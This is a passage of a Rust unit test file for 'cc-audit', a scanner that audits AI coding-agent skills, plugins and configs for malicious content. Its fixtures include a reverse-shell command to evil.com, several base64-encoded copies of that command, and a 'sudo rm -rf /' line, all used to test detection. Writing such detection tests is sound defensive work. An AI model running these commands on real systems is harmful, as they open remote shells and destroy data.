1111 let result = setup_watch_mode(&cli);
1112
1113 assert!(result.is_err());
1114 if let Err(WatchModeResult::WatchPathFailed(path, _)) = result {
1115 assert!(path.contains("nonexistent"));
1116 } else {
1117 panic!("Expected WatchPathFailed error");
1118 }
1119 }
1120
1121 #[test]
1122 fn test_setup_watch_mode_multiple_paths() {
1123 let temp_dir1 = TempDir::new().unwrap();
1124 let temp_dir2 = TempDir::new().unwrap();
1125 fs::write(temp_dir1.path().join("SKILL.md"), "# Test1\n").unwrap();
1126 fs::write(temp_dir2.path().join("SKILL.md"), "# Test2\n").unwrap();
1127
1128 let cli = create_test_cli(vec![
1129 temp_dir1.path().to_path_buf(),
1130 temp_dir2.path().to_path_buf(),
1131 ]);
1132 let result = setup_watch_mode(&cli);
1133
1134 assert!(result.is_ok());
1135 }
1136
1137 #[test]
1138 fn test_watch_iteration_success() {
1139 let temp_dir = TempDir::new().unwrap();
1140 let skill_md = temp_dir.path().join("SKILL.md");
1141 fs::write(&skill_md, "# Test\n").unwrap();
1142
1143 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1144 let result = watch_iteration(&cli);
1145
1146 assert!(result.is_some());
1147 let output = result.unwrap();
1148 assert!(output.contains("PASS"));
1149 }
1150
1151 #[test]
1152 fn test_watch_iteration_failure() {
1153 let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
1154 let result = watch_iteration(&cli);
1155
1156 assert!(result.is_none());
1157 }
1158
1159 #[test]
1160 fn test_watch_mode_result_debug() {
1161 let success = WatchModeResult::Success;
1163 let watcher_failed = WatchModeResult::WatcherCreationFailed("test error".to_string());
1164 let path_failed = WatchModeResult::WatchPathFailed("path".to_string(), "error".to_string());
1165
1166 assert_eq!(format!("{:?}", success), "Success");
1167 assert!(format!("{:?}", watcher_failed).contains("WatcherCreationFailed"));
1168 assert!(format!("{:?}", path_failed).contains("WatchPathFailed"));
1169 }
1170
1171 #[test]
1172 fn test_run_scan_with_config_rules() {
1173 let temp_dir = TempDir::new().unwrap();
1174
1175 let skill_md = temp_dir.path().join("SKILL.md");
1177 fs::write(&skill_md, "# Test\nhttps://internal.corp.com/api").unwrap();
1178
1179 let config_file = temp_dir.path().join(".cc-audit.yaml");
1181 fs::write(
1182 &config_file,
1183 r#"
1184rules:
1185 - id: "CONFIG-001"
1186 name: "Internal API access"
1187 severity: "high"
1188 category: "exfiltration"
1189 patterns:
1190 - 'https?://internal\.'
1191 message: "Internal API access detected"
1192"#,
1193 )
1194 .unwrap();
1195
1196 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1197 let result = run_scan(&cli);
1198
1199 assert!(result.is_some());
1200 let result = result.unwrap();
1201 assert!(result.findings.iter().any(|f| f.id == "CONFIG-001"));
1203 }
1204
1205 #[test]
1206 fn test_run_scan_with_config_malware_signatures() {
1207 let temp_dir = TempDir::new().unwrap();
1208
1209 let skill_md = temp_dir.path().join("SKILL.md");
1211 fs::write(&skill_md, "# Test\ncustom_malware_pattern_xyz").unwrap();
1212
1213 let config_file = temp_dir.path().join(".cc-audit.yaml");
1215 fs::write(
1216 &config_file,
1217 r#"
1218malware_signatures:
1219 - id: "MW-CONFIG-001"
1220 name: "Custom Config Malware"
1221 description: "Test malware from config"
1222 pattern: "custom_malware_pattern_xyz"
1223 severity: "critical"
1224 category: "exfiltration"
1225 confidence: "firm"
1226"#,
1227 )
1228 .unwrap();
1229
1230 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1231 let result = run_scan(&cli);
1232
1233 assert!(result.is_some());
1234 let result = result.unwrap();
1235 assert!(result.findings.iter().any(|f| f.id == "MW-CONFIG-001"));
1237 }
1238
1239 #[test]
1240 fn test_run_scan_config_and_cli_rules_merge() {
1241 let temp_dir = TempDir::new().unwrap();
1242
1243 let skill_md = temp_dir.path().join("SKILL.md");
1245 fs::write(&skill_md, "# Test\nconfig_pattern_match\ncli_pattern_match").unwrap();
1246
1247 let config_file = temp_dir.path().join(".cc-audit.yaml");
1249 fs::write(
1250 &config_file,
1251 r#"
1252rules:
1253 - id: "CONFIG-RULE"
1254 name: "Config Rule"
1255 severity: "high"
1256 category: "exfiltration"
1257 patterns:
1258 - 'config_pattern_match'
1259 message: "Config pattern detected"
1260"#,
1261 )
1262 .unwrap();
1263
1264 let cli_rules_file = temp_dir.path().join("cli-rules.yaml");
1266 fs::write(
1267 &cli_rules_file,
1268 r#"
1269version: "1"
1270rules:
1271 - id: "CLI-RULE"
1272 name: "CLI Rule"
1273 severity: "medium"
1274 category: "obfuscation"
1275 patterns:
1276 - 'cli_pattern_match'
1277 message: "CLI pattern detected"
1278"#,
1279 )
1280 .unwrap();
1281
1282 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1283 cli.custom_rules = Some(cli_rules_file);
1284 let result = run_scan(&cli);
1285
1286 assert!(result.is_some());
1287 let result = result.unwrap();
1288 assert!(result.findings.iter().any(|f| f.id == "CONFIG-RULE"));
1290 assert!(result.findings.iter().any(|f| f.id == "CLI-RULE"));
1291 }
1292
1293 #[test]
1294 fn test_run_scan_without_config_file() {
1295 let temp_dir = TempDir::new().unwrap();
1296
1297 let skill_md = temp_dir.path().join("SKILL.md");
1299 fs::write(&skill_md, "# Test\n").unwrap();
1300
1301 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1302 let result = run_scan(&cli);
1303
1304 assert!(result.is_some());
1306 }
1307
1308 #[test]
1309 fn test_run_scan_with_invalid_custom_rules_file() {
1310 let temp_dir = TempDir::new().unwrap();
1311
1312 let skill_md = temp_dir.path().join("SKILL.md");
1314 fs::write(&skill_md, "# Test\n").unwrap();
1315
1316 let invalid_rules_file = temp_dir.path().join("invalid-rules.yaml");
1318 fs::write(&invalid_rules_file, "invalid: yaml: [").unwrap();
1319
1320 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1321 cli.custom_rules = Some(invalid_rules_file);
1322 let result = run_scan(&cli);
1323
1324 assert!(result.is_some());
1326 }
1327
1328 #[test]
1329 fn test_run_scan_with_invalid_config_rules() {
1330 let temp_dir = TempDir::new().unwrap();
1331
1332 let skill_md = temp_dir.path().join("SKILL.md");
1334 fs::write(&skill_md, "# Test\n").unwrap();
1335
1336 let config_file = temp_dir.path().join(".cc-audit.yaml");
1338 fs::write(
1339 &config_file,
1340 r#"
1341rules:
1342 - id: "INVALID-001"
1343 name: "Invalid Rule"
1344 severity: "high"
1345 category: "invalid_category"
1346 patterns:
1347 - 'test'
1348 message: "Test"
1349"#,
1350 )
1351 .unwrap();
1352
1353 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1354 let result = run_scan(&cli);
1355
1356 assert!(result.is_some());
1358 }
1359
1360 #[test]
1361 fn test_is_text_file_rc_files() {
1362 assert!(is_text_file(std::path::Path::new(".bashrc")));
1364 assert!(is_text_file(std::path::Path::new(".vimrc")));
1365 assert!(is_text_file(std::path::Path::new("npmrc")));
1366 }
1367
1368 #[test]
1369 fn test_is_text_file_dotfiles() {
1370 assert!(is_text_file(std::path::Path::new(".gitignore")));
1372 assert!(is_text_file(std::path::Path::new(".editorconfig")));
1373 assert!(is_text_file(std::path::Path::new(".env")));
1374 }
1375
1376 #[test]
1377 fn test_run_scan_with_invalid_malware_signature_pattern() {
1378 let temp_dir = TempDir::new().unwrap();
1379
1380 let skill_md = temp_dir.path().join("SKILL.md");
1382 fs::write(&skill_md, "# Test\n").unwrap();
1383
1384 let config_file = temp_dir.path().join(".cc-audit.yaml");
1386 fs::write(
1387 &config_file,
1388 r#"
1389malware_signatures:
1390 - id: "MW-INVALID"
1391 name: "Invalid"
1392 description: "Invalid pattern"
1393 pattern: "[invalid("
1394 severity: "critical"
1395 category: "exfiltration"
1396 confidence: "firm"
1397"#,
1398 )
1399 .unwrap();
1400
1401 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1402 let result = run_scan(&cli);
1403
1404 assert!(result.is_some());
1406 }
1407
1408 #[test]
1409 fn test_is_text_file_unknown_file_returns_false() {
1410 assert!(!is_text_file(std::path::Path::new("somebinaryfile")));
1412 }
1413
1414 #[test]
1415 fn test_effective_config_with_default_config() {
1416 let cli = create_test_cli(vec![PathBuf::from("./")]);
1417 let config = Config::default();
1418 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1419
1420 assert!(matches!(effective.format, OutputFormat::Terminal));
1422 assert!(!effective.strict);
1423 assert!(matches!(effective.scan_type, ScanType::Skill));
1424 assert!(!effective.ci);
1425 assert!(!effective.verbose);
1426 assert!(matches!(effective.min_confidence, Confidence::Tentative));
1427 assert!(!effective.skip_comments);
1428 assert!(!effective.fix_hint);
1429 assert!(!effective.no_malware_scan);
1430 }
1431
1432 #[test]
1433 fn test_effective_config_with_config_overrides() {
1434 let cli = create_test_cli(vec![PathBuf::from("./")]);
1435
1436 let mut config = Config::default();
1438 config.scan.format = Some("json".to_string());
1439 config.scan.strict = true;
1440 config.scan.scan_type = Some("docker".to_string());
1441 config.scan.ci = true;
1442 config.scan.verbose = true;
1443 config.scan.min_confidence = Some("firm".to_string());
1444 config.scan.skip_comments = true;
1445 config.scan.fix_hint = true;
1446 config.scan.no_malware_scan = true;
1447
1448 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1449
1450 assert!(matches!(effective.format, OutputFormat::Json));
1452 assert!(effective.strict); assert!(matches!(effective.scan_type, ScanType::Docker));
1454 assert!(effective.ci); assert!(effective.verbose); assert!(matches!(effective.min_confidence, Confidence::Firm));
1457 assert!(effective.skip_comments); assert!(effective.fix_hint); assert!(effective.no_malware_scan); }
1461
1462 #[test]
1463 fn test_effective_config_cli_or_config_booleans() {
1464 let mut cli = create_test_cli(vec![PathBuf::from("./")]);
1466 cli.strict = true; let mut config = Config::default();
1469 config.scan.verbose = true; let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1472
1473 assert!(effective.strict); assert!(effective.verbose); }
1477
1478 #[test]
1479 fn test_effective_config_invalid_format_falls_back() {
1480 let cli = create_test_cli(vec![PathBuf::from("./")]);
1481
1482 let mut config = Config::default();
1483 config.scan.format = Some("invalid_format".to_string());
1484
1485 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1486
1487 assert!(matches!(effective.format, OutputFormat::Terminal));
1489 }
1490
1491 #[test]
1492 fn test_effective_config_invalid_scan_type_falls_back() {
1493 let cli = create_test_cli(vec![PathBuf::from("./")]);
1494
1495 let mut config = Config::default();
1496 config.scan.scan_type = Some("invalid_type".to_string());
1497
1498 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1499
1500 assert!(matches!(effective.scan_type, ScanType::Skill));
1502 }
1503
1504 #[test]
1505 fn test_effective_config_invalid_confidence_falls_back() {
1506 let cli = create_test_cli(vec![PathBuf::from("./")]);
1507
1508 let mut config = Config::default();
1509 config.scan.min_confidence = Some("invalid".to_string());
1510
1511 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1512
1513 assert!(matches!(effective.min_confidence, Confidence::Tentative));
1515 }
1516
1517 #[test]
1518 fn test_effective_config_new_fields_from_config() {
1519 let cli = create_test_cli(vec![PathBuf::from("./")]);
1520
1521 let mut config = Config::default();
1522 config.scan.deep_scan = true;
1523 config.scan.watch = true;
1524 config.scan.fix = true;
1525 config.scan.fix_dry_run = true;
1526 config.scan.malware_db = Some("./custom-malware.json".to_string());
1527 config.scan.custom_rules = Some("./custom-rules.yaml".to_string());
1528 config.scan.output = Some("./report.html".to_string());
1529
1530 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1531
1532 assert!(effective.deep_scan);
1533 assert!(effective.watch);
1534 assert!(effective.fix);
1535 assert!(effective.fix_dry_run);
1536 assert_eq!(
1537 effective.malware_db,
1538 Some("./custom-malware.json".to_string())
1539 );
1540 assert_eq!(
1541 effective.custom_rules,
1542 Some("./custom-rules.yaml".to_string())
1543 );
1544 assert_eq!(effective.output, Some("./report.html".to_string()));
1545 }
1546
1547 #[test]
1548 fn test_effective_config_cli_overrides_config_paths() {
1549 let mut cli = create_test_cli(vec![PathBuf::from("./")]);
1550 cli.malware_db = Some(PathBuf::from("./cli-malware.json"));
1551 cli.custom_rules = Some(PathBuf::from("./cli-rules.yaml"));
1552 cli.output = Some(PathBuf::from("./cli-output.html"));
1553
1554 let mut config = Config::default();
1555 config.scan.malware_db = Some("./config-malware.json".to_string());
1556 config.scan.custom_rules = Some("./config-rules.yaml".to_string());
1557 config.scan.output = Some("./config-output.html".to_string());
1558
1559 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1560
1561 assert_eq!(effective.malware_db, Some("./cli-malware.json".to_string()));
1563 assert_eq!(effective.custom_rules, Some("./cli-rules.yaml".to_string()));
1564 assert_eq!(effective.output, Some("./cli-output.html".to_string()));
1565 }
1566
1567 #[test]
1568 fn test_effective_config_default_new_fields() {
1569 let cli = create_test_cli(vec![PathBuf::from("./")]);
1570 let config = Config::default();
1571 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1572
1573 assert!(!effective.deep_scan);
1575 assert!(!effective.watch);
1576 assert!(!effective.fix);
1577 assert!(!effective.fix_dry_run);
1578 assert!(effective.malware_db.is_none());
1579 assert!(effective.custom_rules.is_none());
1580 assert!(effective.output.is_none());
1581 }
1582
1583 #[test]
1584 fn test_run_scan_with_config_scan_settings() {
1585 let temp_dir = TempDir::new().unwrap();
1586 let skill_md = temp_dir.path().join("SKILL.md");
1587 fs::write(&skill_md, "# Test\n").unwrap();
1588
1589 let config_file = temp_dir.path().join(".cc-audit.yaml");
1591 fs::write(
1592 &config_file,
1593 r#"
1594scan:
1595 strict: true
1596 verbose: true
1597 skip_comments: true
1598"#,
1599 )
1600 .unwrap();
1601
1602 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1603 let result = run_scan(&cli);
1604
1605 assert!(result.is_some());
1607 }
1608
1609 #[test]
1610 fn test_parse_output_format() {
1611 assert_eq!(
1612 parse_output_format(Some("terminal")),
1613 Some(OutputFormat::Terminal)
1614 );
1615 assert_eq!(
1616 parse_output_format(Some("Terminal")),
1617 Some(OutputFormat::Terminal)
1618 );
1619 assert_eq!(
1620 parse_output_format(Some("TERMINAL")),
1621 Some(OutputFormat::Terminal)
1622 );
1623 assert_eq!(parse_output_format(Some("json")), Some(OutputFormat::Json));
1624 assert_eq!(
1625 parse_output_format(Some("sarif")),
1626 Some(OutputFormat::Sarif)
1627 );
1628 assert_eq!(parse_output_format(Some("html")), Some(OutputFormat::Html));
1629 assert_eq!(parse_output_format(Some("invalid")), None);
1630 assert_eq!(parse_output_format(None), None);
1631 }
1632
1633 #[test]
1634 fn test_parse_scan_type() {
1635 assert_eq!(parse_scan_type(Some("skill")), Some(ScanType::Skill));
1636 assert_eq!(parse_scan_type(Some("Skill")), Some(ScanType::Skill));
1637 assert_eq!(parse_scan_type(Some("hook")), Some(ScanType::Hook));
1638 assert_eq!(parse_scan_type(Some("mcp")), Some(ScanType::Mcp));
1639 assert_eq!(parse_scan_type(Some("command")), Some(ScanType::Command));
1640 assert_eq!(parse_scan_type(Some("rules")), Some(ScanType::Rules));
1641 assert_eq!(parse_scan_type(Some("docker")), Some(ScanType::Docker));
1642 assert_eq!(
1643 parse_scan_type(Some("dependency")),
1644 Some(ScanType::Dependency)
1645 );
1646 assert_eq!(parse_scan_type(Some("invalid")), None);
1647 assert_eq!(parse_scan_type(None), None);
1648 }
1649
1650 #[test]
1651 fn test_parse_confidence() {
1652 assert_eq!(
1653 parse_confidence(Some("tentative")),
1654 Some(Confidence::Tentative)
1655 );
1656 assert_eq!(
1657 parse_confidence(Some("Tentative")),
1658 Some(Confidence::Tentative)
1659 );
1660 assert_eq!(parse_confidence(Some("firm")), Some(Confidence::Firm));
1661 assert_eq!(parse_confidence(Some("certain")), Some(Confidence::Certain));
1662 assert_eq!(parse_confidence(Some("invalid")), None);
1663 assert_eq!(parse_confidence(None), None);
1664 }
1665
1666 #[test]
1667 fn test_parse_scan_type_subagent_and_plugin() {
1668 assert_eq!(parse_scan_type(Some("subagent")), Some(ScanType::Subagent));
1669 assert_eq!(parse_scan_type(Some("plugin")), Some(ScanType::Plugin));
1670 }
1671
1672 #[test]
1673 fn test_is_config_file() {
1674 assert!(is_config_file(Path::new(".cc-audit.yaml")));
1675 assert!(is_config_file(Path::new(".cc-audit.yml")));
1676 assert!(is_config_file(Path::new(".cc-audit.json")));
1677 assert!(is_config_file(Path::new(".cc-audit.toml")));
1678 assert!(is_config_file(Path::new(".cc-auditignore")));
1679 assert!(!is_config_file(Path::new("regular.yaml")));
1680 assert!(!is_config_file(Path::new("test.json")));
1681 }
1682
1683 #[test]
1684 fn test_format_result_html() {
1685 let temp_dir = TempDir::new().unwrap();
1686 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1687 cli.format = OutputFormat::Html;
1688
1689 let result = ScanResult {
1690 version: "0.4.0".to_string(),
1691 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1692 target: temp_dir.path().display().to_string(),
1693 summary: Summary::from_findings(&[]),
1694 findings: vec![],
1695 risk_score: None,
1696 };
1697
1698 let output = format_result(&cli, &result);
1699 assert!(output.contains("<!DOCTYPE html>"));
1700 assert!(output.contains("cc-audit"));
1701 }
1702
1703 #[test]
1704 fn test_run_scan_dependency_type() {
1705 let temp_dir = TempDir::new().unwrap();
1706 let package_json = temp_dir.path().join("package.json");
1707 fs::write(
1708 &package_json,
1709 r#"{"name": "test", "dependencies": {"express": "4.0.0"}}"#,
1710 )
1711 .unwrap();
1712
1713 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1714 cli.scan_type = ScanType::Dependency;
1715 let result = run_scan(&cli);
1716
1717 assert!(result.is_some());
1718 }
1719
1720 #[test]
1721 fn test_run_scan_subagent_type() {
1722 let temp_dir = TempDir::new().unwrap();
1723 let agents_dir = temp_dir.path().join(".claude").join("agents");
1724 fs::create_dir_all(&agents_dir).unwrap();
1725 let agent_file = agents_dir.join("test.md");
1726 fs::write(
1727 &agent_file,
1728 r#"---
1729name: test-agent
1730---
1731# Test Agent
1732"#,
1733 )
1734 .unwrap();
1735
1736 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1737 cli.scan_type = ScanType::Subagent;
1738 let result = run_scan(&cli);
1739
1740 assert!(result.is_some());
1741 }
1742
1743 #[test]
1744 fn test_run_scan_plugin_type() {
1745 let temp_dir = TempDir::new().unwrap();
1746 let plugin_json = temp_dir.path().join("marketplace.json");
1747 fs::write(&plugin_json, r#"{"name": "test-plugin"}"#).unwrap();
1748
1749 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1750 cli.scan_type = ScanType::Plugin;
1751 let result = run_scan(&cli);
1752
1753 assert!(result.is_some());
1754 }
1755
1756 #[test]
1757 fn test_run_scan_with_deep_scan() {
1758 let temp_dir = TempDir::new().unwrap();
1759 let skill_md = temp_dir.path().join("SKILL.md");
1760 fs::write(
1762 &skill_md,
1763 "# Test\n\nYmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1764 )
1765 .unwrap();
1766
1767 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1768 cli.deep_scan = true;
1769 let result = run_scan(&cli);
1770
1771 assert!(result.is_some());
1772 let result = result.unwrap();
1774 let has_obfuscation_finding = result
1776 .findings
1777 .iter()
1778 .any(|f| f.id.starts_with("OB-") || f.message.contains("decoded"));
1779 assert!(
1780 has_obfuscation_finding || result.findings.is_empty(),
1781 "Deep scan should have run"
1782 );
1783 }
1784
1785 #[test]
1786 fn test_run_scan_with_deep_scan_on_file() {
1787 let temp_dir = TempDir::new().unwrap();
1788 let test_file = temp_dir.path().join("test.sh");
1789 fs::write(
1791 &test_file,
1792 "#!/bin/bash\n# YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1793 )
1794 .unwrap();
1795
1796 let mut cli = create_test_cli(vec![test_file.clone()]);
1797 cli.deep_scan = true;
1798 let result = run_scan(&cli);
1799
1800 assert!(result.is_some());
1801 }
1802
1803 #[test]
1804 fn test_run_deep_scan_on_file() {
1805 let temp_dir = TempDir::new().unwrap();
1806 let test_file = temp_dir.path().join("test.sh");
1807 fs::write(
1809 &test_file,
1810 "YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS8xMjM0IDA+JjE=",
1811 )
1812 .unwrap();
1813
1814 let findings = run_deep_scan(&test_file);
1815 assert!(findings.is_empty() || !findings.is_empty());
1817 }
1818
1819 #[test]
1820 fn test_run_deep_scan_on_directory() {
1821 let temp_dir = TempDir::new().unwrap();
1822 let test_file = temp_dir.path().join("test.sh");
1823 fs::write(&test_file, "# Normal content").unwrap();
1824
1825 let findings = run_deep_scan(temp_dir.path());
1826 assert!(findings.is_empty());
1827 }
1828
1829 #[test]
1830 fn test_run_deep_scan_skips_binary() {
1831 let temp_dir = TempDir::new().unwrap();
1832 let binary_file = temp_dir.path().join("test.exe");
1833 fs::write(&binary_file, "suspicious content").unwrap();
1834
1835 let findings = run_deep_scan(&binary_file);
1836 assert!(findings.is_empty());
1838 }
1839
1840 #[test]
1841 fn test_scan_path_with_malware_db_skips_config_file() {
1842 let temp_dir = TempDir::new().unwrap();
1843 let config_file = temp_dir.path().join(".cc-audit.yaml");
1844 fs::write(&config_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
1846
1847 let db = MalwareDatabase::default();
1848 let findings = scan_path_with_malware_db(&config_file, &db);
1849
1850 assert!(findings.is_empty());
1852 }
1853
1854 #[test]
1855 fn test_run_scan_with_include_tests() {
1856 let temp_dir = TempDir::new().unwrap();
1857 let tests_dir = temp_dir.path().join("__tests__");
1858 fs::create_dir_all(&tests_dir).unwrap();
1859 let test_file = tests_dir.join("test.md");
1860 fs::write(&test_file, "# Test file\nsudo rm -rf /").unwrap();
1861
1862 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1863 cli.include_tests = true;
1864 let result = run_scan(&cli);
1865
1866 assert!(result.is_some());
1867 }
1868
1869 #[test]
1870 fn test_run_scan_with_include_node_modules() {
1871 let temp_dir = TempDir::new().unwrap();
1872 let node_modules_dir = temp_dir.path().join("node_modules");
1873 fs::create_dir_all(&node_modules_dir).unwrap();
1874 let module_file = node_modules_dir.join("test.md");
1875 fs::write(&module_file, "# Test file").unwrap();
1876
1877 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1878 cli.include_node_modules = true;
1879 let result = run_scan(&cli);
1880
1881 assert!(result.is_some());
1882 }
1883
1884 #[test]
1885 fn test_run_scan_with_include_vendor() {
1886 let temp_dir = TempDir::new().unwrap();
1887 let vendor_dir = temp_dir.path().join("vendor");
1888 fs::create_dir_all(&vendor_dir).unwrap();
1889 let vendor_file = vendor_dir.join("test.md");
1890 fs::write(&vendor_file, "# Test file").unwrap();
1891
1892 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1893 cli.include_vendor = true;
1894 let result = run_scan(&cli);
1895
1896 assert!(result.is_some());
1897 }
1898
1899 #[test]
1900 fn test_run_scan_with_profile() {
1901 let temp_dir = TempDir::new().unwrap();
1902 let skill_md = temp_dir.path().join("SKILL.md");
1903 fs::write(&skill_md, "# Test\n").unwrap();
1904
1905 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1906 cli.profile = Some("strict".to_string());
1907 let result = run_scan(&cli);
1908
1909 assert!(result.is_some());
1910 }
1911
1912 #[test]
1913 fn test_run_scan_with_invalid_profile() {
1914 let temp_dir = TempDir::new().unwrap();
1915 let skill_md = temp_dir.path().join("SKILL.md");
1916 fs::write(&skill_md, "# Test\n").unwrap();
1917
1918 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1919 cli.profile = Some("nonexistent_profile_xyz".to_string());
1920 let result = run_scan(&cli);
1921
1922 assert!(result.is_some());
1924 }
1925
1926 #[test]
1927 fn test_run_scan_with_config() {
1928 let temp_dir = TempDir::new().unwrap();
1929 let skill_md = temp_dir.path().join("SKILL.md");
1930 fs::write(&skill_md, "# Test\n").unwrap();
1931
1932 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1933 let config = Config::default();
1934 let result = run_scan_with_config(&cli, config);
1935
1936 assert!(result.is_some());
1937 }
1938
1939 #[test]
1940 fn test_run_scan_with_disabled_rules() {
1941 let temp_dir = TempDir::new().unwrap();
1942 let skill_md = temp_dir.path().join("SKILL.md");
1943 fs::write(&skill_md, "# Test\nsudo rm -rf /").unwrap();
1944
1945 let config_file = temp_dir.path().join(".cc-audit.yaml");
1947 fs::write(
1948 &config_file,
1949 r#"
1950disabled_rules:
1951 - PE-001
1952"#,
1953 )
1954 .unwrap();
1955
1956 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1957 let result = run_scan(&cli);
1958
1959 assert!(result.is_some());
1960 let result = result.unwrap();
1961 assert!(!result.findings.iter().any(|f| f.id == "PE-001"));
1963 }
1964
1965 #[test]
1966 fn test_effective_config_debug() {
1967 let cli = create_test_cli(vec![PathBuf::from("./")]);
1968 let config = Config::default();
1969 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1970
1971 let debug_str = format!("{:?}", effective);
1972 assert!(debug_str.contains("EffectiveConfig"));
1973 }
1974
1975 #[test]
1976 fn test_effective_config_clone() {
1977 let cli = create_test_cli(vec![PathBuf::from("./")]);
1978 let config = Config::default();
1979 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1980
1981 let cloned = effective.clone();
1982 assert_eq!(format!("{:?}", effective), format!("{:?}", cloned));
1983 }
1984
1985 #[test]
1986 fn test_format_result_with_config_directly() {
1987 let effective = EffectiveConfig {
1988 format: OutputFormat::Json,
1989 strict: false,
1990 warn_only: false,
1991 min_severity: None,
1992 min_rule_severity: None,
1993 scan_type: ScanType::Skill,
1994 recursive: true,
1995 ci: false,
1996 verbose: false,
1997 min_confidence: Confidence::Tentative,
1998 skip_comments: false,
1999 fix_hint: false,
2000 no_malware_scan: false,
2001 deep_scan: false,
2002 watch: false,
2003 output: None,
2004 fix: false,
2005 fix_dry_run: false,
2006 malware_db: None,
2007 custom_rules: None,
2008 };
2009
2010 let result = ScanResult {
2011 version: "0.4.0".to_string(),
2012 scanned_at: "2026-01-25T12:00:00Z".to_string(),
2013 target: "test".to_string(),
2014 summary: Summary::from_findings(&[]),
2015 findings: vec![],
2016 risk_score: None,
2017 };
2018
2019 let output = format_result_with_config(&effective, &result);
2020 assert!(output.contains("\"version\""));
2021 }
2022
2023 #[test]
2024 fn test_is_text_file_with_config() {
2025 let config = crate::config::TextFilesConfig::default();
2026 assert!(is_text_file_with_config(Path::new("test.md"), &config));
2027 assert!(is_text_file_with_config(Path::new("test.json"), &config));
2028 assert!(!is_text_file_with_config(Path::new("test.exe"), &config));
2029 }
2030
2031 #[test]
2032 fn test_run_scan_single_file() {
2033 let temp_dir = TempDir::new().unwrap();
2034 let skill_md = temp_dir.path().join("SKILL.md");
2035 fs::write(
2036 &skill_md,
2037 r#"---
2038name: test
2039allowed-tools: Read
2040---
2041# Test
2042"#,
2043 )
2044 .unwrap();
2045
2046 let cli = create_test_cli(vec![skill_md.clone()]);
2048 let result = run_scan(&cli);
2049
2050 assert!(result.is_some());
2051 }
2052}